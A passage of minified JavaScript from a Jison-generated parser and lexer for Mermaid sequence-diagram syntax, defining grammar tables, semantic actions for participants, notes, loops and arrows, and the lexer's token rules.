OW:78,BIDIRECTIONAL_SOLID_ARROW:79,DOTTED_ARROW:80,BIDIRECTIONAL_DOTTED_ARROW:81,SOLID_CROSS:82,DOTTED_CROSS:83,SOLID_POINT:84,DOTTED_POINT:85,TXT:86,$accept:0,$end:1},terminals_:{2:"error",4:"SPACE",5:"NEWLINE",6:"SD",13:"create",14:"box",15:"restOfLine",16:"end",18:"autonumber",19:"NUM",20:"off",21:"activate",23:"deactivate",29:"title",30:"legacy_title",31:"acc_title",32:"acc_title_value",33:"acc_descr",34:"acc_descr_value",35:"acc_descr_multiline_value",36:"loop",37:"rect",38:"opt",39:"alt",41:"par",43:"par_over",44:"critical",46:"break",47:"option",48:"and",49:"else",50:"participant",51:"AS",52:"participant_actor",53:"destroy",55:"note",58:"over",60:"links",61:"link",62:"properties",63:"details",65:",",66:"left_of",67:"right_of",69:"+",70:"-",71:"ACTOR",73:"CONFIG_START",74:"CONFIG_CONTENT",75:"CONFIG_END",76:"SOLID_OPEN_ARROW",77:"DOTTED_OPEN_ARROW",78:"SOLID_ARROW",79:"BIDIRECTIONAL_SOLID_ARROW",80:"DOTTED_ARROW",81:"BIDIRECTIONAL_DOTTED_ARROW",82:"SOLID_CROSS",83:"DOTTED_CROSS",84:"SOLID_POINT",85:"DOTTED_POINT",86:"TXT"},productions_:[0,[3,2],[3,2],[3,2],[7,0],[7,2],[8,2],[8,1],[8,1],[10,0],[10,2],[11,2],[11,1],[11,1],[9,1],[9,2],[9,4],[9,2],[9,4],[9,3],[9,3],[9,2],[9,3],[9,3],[9,2],[9,2],[9,2],[9,2],[9,2],[9,1],[9,1],[9,2],[9,2],[9,1],[9,4],[9,4],[9,4],[9,4],[9,4],[9,4],[9,4],[9,4],[45,1],[45,4],[42,1],[42,4],[40,1],[40,4],[12,5],[12,3],[12,5],[12,3],[12,3],[12,3],[24,4],[24,4],[25,3],[26,3],[27,3],[28,3],[64,2],[64,1],[59,3],[59,1],[56,1],[56,1],[17,5],[17,5],[17,4],[54,2],[72,3],[22,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[57,1]],performAction:o(function(Z,K,ae,Q,de,ne,Te){var q=ne.length-1;switch(de){case 3:return Q.apply(ne[q]),ne[q];break;case 4:case 9:this.$=[];break;case 5:case 10:ne[q-1].push(ne[q]),this.$=ne[q-1];break;case 6:case 7:case 11:case 12:this.$=ne[q];break;case 8:case 13:this.$=[];break;case 15:ne[q].type="createParticipant",this.$=ne[q];break;case 16:ne[q-1].unshift({type:"boxStart",boxData:Q.parseBoxData(ne[q-2])}),ne[q-1].push({type:"boxEnd",boxText:ne[q-2]}),this.$=ne[q-1];break;case 18:this.$={type:"sequenceIndex",sequenceIndex:Number(ne[q-2]),sequenceIndexStep:Number(ne[q-1]),sequenceVisible:!0,signalType:Q.LINETYPE.AUTONUMBER};break;case 19:this.$={type:"sequenceIndex",sequenceIndex:Number(ne[q-1]),sequenceIndexStep:1,sequenceVisible:!0,signalType:Q.LINETYPE.AUTONUMBER};break;case 20:this.$={type:"sequenceIndex",sequenceVisible:!1,signalType:Q.LINETYPE.AUTONUMBER};break;case 21:this.$={type:"sequenceIndex",sequenceVisible:!0,signalType:Q.LINETYPE.AUTONUMBER};break;case 22:this.$={type:"activeStart",signalType:Q.LINETYPE.ACTIVE_START,actor:ne[q-1].actor};break;case 23:this.$={type:"activeEnd",signalType:Q.LINETYPE.ACTIVE_END,actor:ne[q-1].actor};break;case 29:Q.setDiagramTitle(ne[q].substring(6)),this.$=ne[q].substring(6);break;case 30:Q.setDiagramTitle(ne[q].substring(7)),this.$=ne[q].substring(7);break;case 31:this.$=ne[q].trim(),Q.setAccTitle(this.$);break;case 32:case 33:this.$=ne[q].trim(),Q.setAccDescription(this.$);break;case 34:ne[q-1].unshift({type:"loopStart",loopText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.LOOP_START}),ne[q-1].push({type:"loopEnd",loopText:ne[q-2],signalType:Q.LINETYPE.LOOP_END}),this.$=ne[q-1];break;case 35:ne[q-1].unshift({type:"rectStart",color:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.RECT_START}),ne[q-1].push({type:"rectEnd",color:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.RECT_END}),this.$=ne[q-1];break;case 36:ne[q-1].unshift({type:"optStart",optText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.OPT_START}),ne[q-1].push({type:"optEnd",optText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.OPT_END}),this.$=ne[q-1];break;case 37:ne[q-1].unshift({type:"altStart",altText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.ALT_START}),ne[q-1].push({type:"altEnd",signalType:Q.LINETYPE.ALT_END}),this.$=ne[q-1];break;case 38:ne[q-1].unshift({type:"parStart",parText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.PAR_START}),ne[q-1].push({type:"parEnd",signalType:Q.LINETYPE.PAR_END}),this.$=ne[q-1];break;case 39:ne[q-1].unshift({type:"parStart",parText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.PAR_OVER_START}),ne[q-1].push({type:"parEnd",signalType:Q.LINETYPE.PAR_END}),this.$=ne[q-1];break;case 40:ne[q-1].unshift({type:"criticalStart",criticalText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.CRITICAL_START}),ne[q-1].push({type:"criticalEnd",signalType:Q.LINETYPE.CRITICAL_END}),this.$=ne[q-1];break;case 41:ne[q-1].unshift({type:"breakStart",breakText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.BREAK_START}),ne[q-1].push({type:"breakEnd",optText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.BREAK_END}),this.$=ne[q-1];break;case 43:this.$=ne[q-3].concat([{type:"option",optionText:Q.parseMessage(ne[q-1]),signalType:Q.LINETYPE.CRITICAL_OPTION},ne[q]]);break;case 45:this.$=ne[q-3].concat([{type:"and",parText:Q.parseMessage(ne[q-1]),signalType:Q.LINETYPE.PAR_AND},ne[q]]);break;case 47:this.$=ne[q-3].concat([{type:"else",altText:Q.parseMessage(ne[q-1]),signalType:Q.LINETYPE.ALT_ELSE},ne[q]]);break;case 48:ne[q-3].draw="participant",ne[q-3].type="addParticipant",ne[q-3].description=Q.parseMessage(ne[q-1]),this.$=ne[q-3];break;case 49:ne[q-1].draw="participant",ne[q-1].type="addParticipant",this.$=ne[q-1];break;case 50:ne[q-3].draw="actor",ne[q-3].type="addParticipant",ne[q-3].description=Q.parseMessage(ne[q-1]),this.$=ne[q-3];break;case 51:ne[q-1].draw="actor",ne[q-1].type="addParticipant",this.$=ne[q-1];break;case 52:ne[q-1].type="destroyParticipant",this.$=ne[q-1];break;case 53:ne[q-1].draw="participant",ne[q-1].type="addParticipant",this.$=ne[q-1];break;case 54:this.$=[ne[q-1],{type:"addNote",placement:ne[q-2],actor:ne[q-1].actor,text:ne[q]}];break;case 55:ne[q-2]=[].concat(ne[q-1],ne[q-1]).slice(0,2),ne[q-2][0]=ne[q-2][0].actor,ne[q-2][1]=ne[q-2][1].actor,this.$=[ne[q-1],{type:"addNote",placement:Q.PLACEMENT.OVER,actor:ne[q-2].slice(0,2),text:ne[q]}];break;case 56:this.$=[ne[q-1],{type:"addLinks",actor:ne[q-1].actor,text:ne[q]}];break;case 57:this.$=[ne[q-1],{type:"addALink",actor:ne[q-1].actor,text:ne[q]}];break;case 58:this.$=[ne[q-1],{type:"addProperties",actor:ne[q-1].actor,text:ne[q]}];break;case 59:this.$=[ne[q-1],{type:"addDetails",actor:ne[q-1].actor,text:ne[q]}];break;case 62:this.$=[ne[q-2],ne[q]];break;case 63:this.$=ne[q];break;case 64:this.$=Q.PLACEMENT.LEFTOF;break;case 65:this.$=Q.PLACEMENT.RIGHTOF;break;case 66:this.$=[ne[q-4],ne[q-1],{type:"addMessage",from:ne[q-4].actor,to:ne[q-1].actor,signalType:ne[q-3],msg:ne[q],activate:!0},{type:"activeStart",signalType:Q.LINETYPE.ACTIVE_START,actor:ne[q-1].actor}];break;case 67:this.$=[ne[q-4],ne[q-1],{type:"addMessage",from:ne[q-4].actor,to:ne[q-1].actor,signalType:ne[q-3],msg:ne[q]},{type:"activeEnd",signalType:Q.LINETYPE.ACTIVE_END,actor:ne[q-4].actor}];break;case 68:this.$=[ne[q-3],ne[q-1],{type:"addMessage",from:ne[q-3].actor,to:ne[q-1].actor,signalType:ne[q-2],msg:ne[q]}];break;case 69:this.$={type:"addParticipant",actor:ne[q-1],config:ne[q]};break;case 70:this.$=ne[q-1].trim();break;case 71:this.$={type:"addParticipant",actor:ne[q]};break;case 72:this.$=Q.LINETYPE.SOLID_OPEN;break;case 73:this.$=Q.LINETYPE.DOTTED_OPEN;break;case 74:this.$=Q.LINETYPE.SOLID;break;case 75:this.$=Q.LINETYPE.BIDIRECTIONAL_SOLID;break;case 76:this.$=Q.LINETYPE.DOTTED;break;case 77:this.$=Q.LINETYPE.BIDIRECTIONAL_DOTTED;break;case 78:this.$=Q.LINETYPE.SOLID_CROSS;break;case 79:this.$=Q.LINETYPE.DOTTED_CROSS;break;case 80:this.$=Q.LINETYPE.SOLID_POINT;break;case 81:this.$=Q.LINETYPE.DOTTED_POINT;break;case 82:this.$=Q.parseMessage(ne[q].trim().substring(1));break}},"anonymous"),table:[{3:1,4:e,5:r,6:n},{1:[3]},{3:5,4:e,5:r,6:n},{3:6,4:e,5:r,6:n},t([1,4,5,13,14,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,50,52,53,55,60,61,62,63,71],i,{7:7}),{1:[2,1]},{1:[2,2]},{1:[2,3],4:a,5:s,8:8,9:10,12:12,13:l,14:u,17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},t(B,[2,5]),{9:47,12:12,13:l,14:u,17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},t(B,[2,7]),t(B,[2,8]),t(B,[2,14]),{12:48,50:R,52:I,53:L},{15:[1,49]},{5:[1,50]},{5:[1,53],19:[1,51],20:[1,52]},{22:54,71:P},{22:55,71:P},{5:[1,56]},{5:[1,57]},{5:[1,58]},{5:[1,59]},{5:[1,60]},t(B,[2,29]),t(B,[2,30]),{32:[1,61]},{34:[1,62]},t(B,[2,33]),{15:[1,63]},{15:[1,64]},{15:[1,65]},{15:[1,66]},{15:[1,67]},{15:[1,68]},{15:[1,69]},{15:[1,70]},{22:71,54:72,71:[1,73]},{22:74,71:P},{22:75,71:P},{68:76,76:[1,77],77:[1,78],78:[1,79],79:[1,80],80:[1,81],81:[1,82],82:[1,83],83:[1,84],84:[1,85],85:[1,86]},{56:87,58:[1,88],66:[1,89],67:[1,90]},{22:91,71:P},{22:92,71:P},{22:93,71:P},{22:94,71:P},t([5,51,65,76,77,78,79,80,81,82,83,84,85,86],F),t(B,[2,6]),t(B,[2,15]),t(G,[2,9],{10:95}),t(B,[2,17]),{5:[1,97],19:[1,96]},{5:[1,98]},t(B,[2,21]),{5:[1,99]},{5:[1,100]},t(B,[2,24]),t(B,[2,25]),t(B,[2,26]),t(B,[2,27]),t(B,[2,28]),t(B,[2,31]),t(B,[2,32]),t($,i,{7:101}),t($,i,{7:102}),t($,i,{7:103}),t(U,i,{40:104,7:105}),t(j,i,{42:106,7:107}),t(j,i,{7:107,42:108}),t(te,i,{45:109,7:110}),t($,i,{7:111}),{5:[1,113],51:[1,112]},{5:[1,114]},t([5,51],F,{72:115,73:[1,116]}),{5:[1,118],51:[1,117]},{5:[1,119]},{22:122,69:[1,120],70:[1,121],71:P},t(Y,[2,72]),t(Y,[2,73]),t(Y,[2,74]),t(Y,[2,75]),t(Y,[2,76]),t(Y,[2,77]),t(Y,[2,78]),t(Y,[2,79]),t(Y,[2,80]),t(Y,[2,81]),{22:123,71:P},{22:125,59:124,71:P},{71:[2,64]},{71:[2,65]},{57:126,86:oe},{57:128,86:oe},{57:129,86:oe},{57:130,86:oe},{4:[1,133],5:[1,135],11:132,12:134,16:[1,131],50:R,52:I,53:L},{5:[1,136]},t(B,[2,19]),t(B,[2,20]),t(B,[2,22]),t(B,[2,23]),{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[1,137],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[1,138],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[1,139],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{16:[1,140]},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[2,46],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,49:[1,141],50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{16:[1,142]},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[2,44],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,48:[1,143],50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{16:[1,144]},{16:[1,145]},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[2,42],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,47:[1,146],50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[1,147],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{15:[1,148]},t(B,[2,49]),t(B,[2,53]),{5:[2,69]},{74:[1,149]},{15:[1,150]},t(B,[2,51]),t(B,[2,52]),{22:151,71:P},{22:152,71:P},{57:153,86:oe},{57:154,86:oe},{57:155,86:oe},{65:[1,156],86:[2,63]},{5:[2,56]},{5:[2,82]},{5:[2,57]},{5:[2,58]},{5:[2,59]},t(B,[2,16]),t(G,[2,10]),{12:157,50:R,52:I,53:L},t(G,[2,12]),t(G,[2,13]),t(B,[2,18]),t(B,[2,34]),t(B,[2,35]),t(B,[2,36]),t(B,[2,37]),{15:[1,158]},t(B,[2,38]),{15:[1,159]},t(B,[2,39]),t(B,[2,40]),{15:[1,160]},t(B,[2,41]),{5:[1,161]},{75:[1,162]},{5:[1,163]},{57:164,86:oe},{57:165,86:oe},{5:[2,68]},{5:[2,54]},{5:[2,55]},{22:166,71:P},t(G,[2,11]),t(U,i,{7:105,40:167}),t(j,i,{7:107,42:168}),t(te,i,{7:110,45:169}),t(B,[2,48]),{5:[2,70]},t(B,[2,50]),{5:[2,66]},{5:[2,67]},{86:[2,62]},{16:[2,47]},{16:[2,45]},{16:[2,43]}],defaultActions:{5:[2,1],6:[2,2],89:[2,64],90:[2,65],115:[2,69],126:[2,56],127:[2,82],128:[2,57],129:[2,58],130:[2,59],153:[2,68],154:[2,54],155:[2,55],162:[2,70],164:[2,66],165:[2,67],166:[2,62],167:[2,47],168:[2,45],169:[2,43]},parseError:o(function(Z,K){if(K.recoverable)this.trace(Z);else{var ae=new Error(Z);throw ae.hash=K,ae}},"parseError"),parse:o(function(Z){var K=this,ae=[0],Q=[],de=[null],ne=[],Te=this.table,q="",Ve=0,pe=0,Be=0,Ye=2,He=1,Le=ne.slice.call(arguments,1),Ie=Object.create(this.lexer),Ne={yy:{}};for(var Ce in this.yy)Object.prototype.hasOwnProperty.call(this.yy,Ce)&&(Ne.yy[Ce]=this.yy[Ce]);Ie.setInput(Z,Ne.yy),Ne.yy.lexer=Ie,Ne.yy.parser=this,typeof Ie.yylloc>"u"&&(Ie.yylloc={});var Fe=Ie.yylloc;ne.push(Fe);var fe=Ie.options&&Ie.options.ranges;typeof Ne.yy.parseError=="function"?this.parseError=Ne.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function xe(We){ae.length=ae.length-2*We,de.length=de.length-We,ne.length=ne.length-We}o(xe,"popStack");function W(){var We;return We=Q.pop()||Ie.lex()||He,typeof We!="number"&&(We instanceof Array&&(Q=We,We=Q.pop()),We=K.symbols_[We]||We),We}o(W,"lex");for(var he,z,se,le,ke,ve,ye={},Re,_e,ze,Ke;;){if(se=ae[ae.length-1],this.defaultActions[se]?le=this.defaultActions[se]:((he===null||typeof he>"u")&&(he=W()),le=Te[se]&&Te[se][he]),typeof le>"u"||!le.length||!le[0]){var xt="";Ke=[];for(Re in Te[se])this.terminals_[Re]&&Re>Ye&&Ke.push("'"+this.terminals_[Re]+"'");Ie.showPosition?xt="Parse error on line "+(Ve+1)+`: +`+Ie.showPosition()+` +Expecting `+Ke.join(", ")+", got '"+(this.terminals_[he]||he)+"'":xt="Parse error on line "+(Ve+1)+": Unexpected "+(he==He?"end of input":"'"+(this.terminals_[he]||he)+"'"),this.parseError(xt,{text:Ie.match,token:this.terminals_[he]||he,line:Ie.yylineno,loc:Fe,expected:Ke})}if(le[0]instanceof Array&&le.length>1)throw new Error("Parse Error: multiple actions possible at state: "+se+", token: "+he);switch(le[0]){case 1:ae.push(he),de.push(Ie.yytext),ne.push(Ie.yylloc),ae.push(le[1]),he=null,z?(he=z,z=null):(pe=Ie.yyleng,q=Ie.yytext,Ve=Ie.yylineno,Fe=Ie.yylloc,Be>0&&Be--);break;case 2:if(_e=this.productions_[le[1]][1],ye.$=de[de.length-_e],ye._$={first_line:ne[ne.length-(_e||1)].first_line,last_line:ne[ne.length-1].last_line,first_column:ne[ne.length-(_e||1)].first_column,last_column:ne[ne.length-1].last_column},fe&&(ye._$.range=[ne[ne.length-(_e||1)].range[0],ne[ne.length-1].range[1]]),ve=this.performAction.apply(ye,[q,pe,Ve,Ne.yy,le[1],de,ne].concat(Le)),typeof ve<"u")return ve;_e&&(ae=ae.slice(0,-1*_e*2),de=de.slice(0,-1*_e),ne=ne.slice(0,-1*_e)),ae.push(this.productions_[le[1]][0]),de.push(ye.$),ne.push(ye._$),ze=Te[ae[ae.length-2]][ae[ae.length-1]],ae.push(ze);break;case 3:return!0}}return!0},"parse")},ue=(function(){var ee={EOF:1,parseError:o(function(K,ae){if(this.yy.parser)this.yy.parser.parseError(K,ae);else throw new Error(K)},"parseError"),setInput:o(function(Z,K){return this.yy=K||this.yy||{},this._input=Z,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var Z=this._input[0];this.yytext+=Z,this.yyleng++,this.offset++,this.match+=Z,this.matched+=Z;var K=Z.match(/(?:\r\n?|\n).*/g);return K?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),Z},"input"),unput:o(function(Z){var K=Z.length,ae=Z.split(/(?:\r\n?|\n)/g);this._input=Z+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-K),this.offset-=K;var Q=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),ae.length-1&&(this.yylineno-=ae.length-1);var de=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:ae?(ae.length===Q.length?this.yylloc.first_column:0)+Q[Q.length-ae.length].length-ae[0].length:this.yylloc.first_column-K},this.options.ranges&&(this.yylloc.range=[de[0],de[0]+this.yyleng-K]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(Z){this.unput(this.match.slice(Z))},"less"),pastInput:o(function(){var Z=this.matched.substr(0,this.matched.length-this.match.length);return(Z.length>20?"...":"")+Z.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var Z=this.match;return Z.length<20&&(Z+=this._input.substr(0,20-Z.length)),(Z.substr(0,20)+(Z.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var Z=this.pastInput(),K=new Array(Z.length+1).join("-");return Z+this.upcomingInput()+` +`+K+"^"},"showPosition"),test_match:o(function(Z,K){var ae,Q,de;if(this.options.backtrack_lexer&&(de={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(de.yylloc.range=this.yylloc.range.slice(0))),Q=Z[0].match(/(?:\r\n?|\n).*/g),Q&&(this.yylineno+=Q.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:Q?Q[Q.length-1].length-Q[Q.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+Z[0].length},this.yytext+=Z[0],this.match+=Z[0],this.matches=Z,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(Z[0].length),this.matched+=Z[0],ae=this.performAction.call(this,this.yy,this,K,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),ae)return ae;if(this._backtrack){for(var ne in de)this[ne]=de[ne];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var Z,K,ae,Q;this._more||(this.yytext="",this.match="");for(var de=this._currentRules(),ne=0;neK[0].length)){if(K=ae,Q=ne,this.options.backtrack_lexer){if(Z=this.test_match(ae,de[ne]),Z!==!1)return Z;if(this._backtrack){K=!1;continue}else return!1}else if(!this.options.flex)break}return K?(Z=this.test_match(K,de[Q]),Z!==!1?Z:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var K=this.next();return K||this.lex()},"lex"),begin:o(function(K){this.conditionStack.push(K)},"begin"),popState:o(function(){var K=this.conditionStack.length-1;return K>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(K){return K=this.conditionStack.length-1-Math.abs(K||0),K>=0?this.conditionStack[K]:"INITIAL"},"topState"),pushState:o(function(K){this.begin(K)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(K,ae,Q,de){var ne=de;switch(Q){case 0:return 5;case 1:break;case 2:break;case 3:break;case 4:break;case 5:break;case 6:return 19;case 7:return this.begin("CONFIG"),73;break;case 8:return 74;case 9:return this.popState(),this.popState(),75;break;case 10:return ae.yytext=ae.yytext.trim(),71;break;case 11:return ae.yytext=ae.yytext.trim(),this.begin("ALIAS"),71;break;case 12:return this.begin("LINE"),14;break;case 13:return this.begin("ID"),50;break;case 14:return this.begin("ID"),52;break;case 15:return 13;case 16:return this.begin("ID"),53;break;case 17:return ae.yytext=ae.yytext.trim(),this.begin("ALIAS"),71;break;case 18:return this.popState(),this.popState(),this.begin("LINE"),51;break;case 19:return this.popState(),this.popState(),5;break;case 20:return this.begin("LINE"),36;break;case 21:return this.begin("LINE"),37;break;case 22:return this.begin("LINE"),38;break;case 23:return this.begin("LINE"),39;break;case 24:return this.begin("LINE"),49;break;case 25:return this.begin("LINE"),41;break;case 26:return this.begin("LINE"),43;break;case 27:return this.begin("LINE"),48;break;case 28:return this.begin("LINE"),44;break;case 29:return this.begin("LINE"),47;break;case 30:return this.begin("LINE"),46;break;case 31:return this.popState(),15;break;case 32:return 16;case 33:return 66;case 34:return 67;case 35:return 60;case 36:return 61;case 37:return 62;case 38:return 63;case 39:return 58;case 40:return 55;case 41:return this.begin("ID"),21;break;case 42:return this.begin("ID"),23;break;case 43:return 29;case 44:return 30;case 45:return this.begin("acc_title"),31;break;case 46:return this.popState(),"acc_title_value";break;case 47:return this.begin("acc_descr"),33;break;case 48:return this.popState(),"acc_descr_value";break;case 49:this.begin("acc_descr_multiline");break;case 50:this.popState();break;case 51:return"acc_descr_multiline_value";case 52:return 6;case 53:return 18;case 54:return 20;case 55:return 65;case 56:return 5;case 57:return ae.yytext=ae.yytext.trim(),71;break;case 58:return 78;case 59:return 79;case 60:return 80;case 61:return 81;case 62:return 76;case 63:return 77;case 64:return 82;case 65:return 83;case 66:return 84;case 67:return 85;case 68:return 86;case 69:return 86;case 70:return 69;case 71:return 70;case 72:return 5;case 73:return"INVALID"}},"anonymous"),rules:[/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:((?!\n)\s)+)/i,/^(?:#[^\n]*)/i,/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[0-9]+(?=[ \n]+))/i,/^(?:@\{)/i,/^(?:[^\}]+)/i,/^(?:\})/i,/^(?:[^\<->\->:\n,;@\s]+(?=@\{))/i,/^(?:[^\<->\->:\n,;@]+?([\-]*[^\<->\->:\n,;@]+?)*?(?=((?!\n)\s)+as(?!\n)\s|[#\n;]|$))/i,/^(?:box\b)/i,/^(?:participant\b)/i,/^(?:actor\b)/i,/^(?:create\b)/i,/^(?:destroy\b)/i,/^(?:[^<\->\->:\n,;]+?([\-]*[^<\->\->:\n,;]+?)*?(?=((?!\n)\s)+as(?!\n)\s|[#\n;]|$))/i,/^(?:as\b)/i,/^(?:(?:))/i,/^(?:loop\b)/i,/^(?:rect\b)/i,/^(?:opt\b)/i,/^(?:alt\b)/i,/^(?:else\b)/i,/^(?:par\b)/i,/^(?:par_over\b)/i,/^(?:and\b)/i,/^(?:critical\b)/i,/^(?:option\b)/i,/^(?:break\b)/i,/^(?:(?:[:]?(?:no)?wrap)?[^#\n;]*)/i,/^(?:end\b)/i,/^(?:left of\b)/i,/^(?:right of\b)/i,/^(?:links\b)/i,/^(?:link\b)/i,/^(?:properties\b)/i,/^(?:details\b)/i,/^(?:over\b)/i,/^(?:note\b)/i,/^(?:activate\b)/i,/^(?:deactivate\b)/i,/^(?:title\s[^#\n;]+)/i,/^(?:title:\s[^#\n;]+)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:sequenceDiagram\b)/i,/^(?:autonumber\b)/i,/^(?:off\b)/i,/^(?:,)/i,/^(?:;)/i,/^(?:[^+<\->\->:\n,;]+((?!(-x|--x|-\)|--\)))[\-]*[^\+<\->\->:\n,;]+)*)/i,/^(?:->>)/i,/^(?:<<->>)/i,/^(?:-->>)/i,/^(?:<<-->>)/i,/^(?:->)/i,/^(?:-->)/i,/^(?:-[x])/i,/^(?:--[x])/i,/^(?:-[\)])/i,/^(?:--[\)])/i,/^(?::(?:(?:no)?wrap)?[^#\n;]*)/i,/^(?::)/i,/^(?:\+)/i,/^(?:-)/i,/^(?:$)/i,/^(?:.)/i],conditions:{acc_descr_multiline:{rules:[50,51],inclusive:!1},acc_descr:{rules:[48],inclusive:!1},acc_title:{rules:[46],inclusive:!1},ID:{rules:[2,3,7,10,11,17],inclusive:!1},ALIAS:{rules:[2,3,18,19],inclusive:!1},LINE:{rules:[2,3,31],inclusive:!1},CONFIG:{rules:[8,9],inclusive:!1},CONFIG_DATA:{rules:[],inclusive:!1},INITIAL:{rules:[0,1,3,4,5,6,12,13,14,15,16,20,21,22,23,24,25,26,27,28,29,30,32,33,34,35,36,37,38,39,40,41,42,43,44,45,47,49,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73],inclusive:!0}}};return ee})();J.lexer=ue;function re(){this.yy={}}return o(re,"Parser"),re.prototype=J,J.Parser=re,new 